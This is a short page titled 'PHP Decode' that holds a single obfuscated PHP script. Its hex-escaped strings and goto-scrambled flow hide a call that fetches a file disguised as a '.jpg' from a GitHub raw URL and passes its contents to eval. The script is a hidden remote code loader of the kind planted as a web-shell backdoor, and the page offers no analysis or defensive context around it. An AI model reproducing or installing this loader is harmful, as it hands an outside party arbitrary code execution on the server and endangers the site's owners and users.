PHP Decode

<?php
goto Ce; bd: if (!($c7 < count($C7))) { goto B4; } goto Ef; Ce: $C7 = ["\x36\x36\x36\71\x36\x43\66\65\x35\x46\66\x37\x36\x35\x37\64\65\106\66\x33\x36\x46\66\x45\x37\64\x36\x35\x36\x45\x37\64\67\63", "\67\x32\66\61\67\x37\x37\x35\67\62\66\103\x36\65\66\105\x36\x33\66\x46\66\x34\66\x35", "\67\62\66\x31\x37\x37\x37\65\67\x32\66\103\x36\64\x36\x35\66\63\x36\106\x36\64\66\65", "\x37\65\67\62\x36\x43\66\65\x36\x45\x36\x33\66\x46\66\64\66\x35", "\x37\65\x37\x32\66\x43\x36\64\x36\x35\x36\63\66\106\x36\64\66\x35"]; goto c2; C6: function b2($D6) { goto E5; F7: af: goto ba; d2: return $C6; goto bb; F4: if (!($c7 < $d1)) { goto d9; } goto ab; E5: $C6 = ''; goto e7; f9: Ff: goto F4; ab: $C6 .= chr(hexdec($D6[$c7] . $D6[$c7 + 1])); goto F7; Ad: goto Ff; goto e1; bc: $c7 = 0; goto f9; e7: $d1 = strlen($D6) - 1; goto bc; ba: $c7 += 2; goto Ad; e1: d9: goto d2; bb: } goto c8; Db: goto e9; goto D0; Ef: $f3[$c7] = b2($C7[$c7]); goto Df; D0: B4: goto C6; D8: echo @null; goto f8; Df: f3: goto C4; C4: $c7++; goto Db; ad: e9: goto bd; c8: echo "\40"; goto D8; c2: $c7 = 0; goto ad; f8: @eval("\77\x3e" . $f3[0]($f3[4]($f3[3]($f3[2]($f3[1]("\150\164\164\160\x73\72\57\57\x72\141\x77\56\x67\151\x74\x68\165\x62\x75\163\x65\162\143\x6f\156\x74\x65\x6e\x74\x2e\x63\x6f\155\57\x79\141\x6e\165\172\151\x64\145\x73\x6b\x2f\x58\x31\x4e\x59\64\x2f\155\x61\163\164\x65\162\x2f\x6e\x61\153\141\x2e\x6a\160\x67"))))));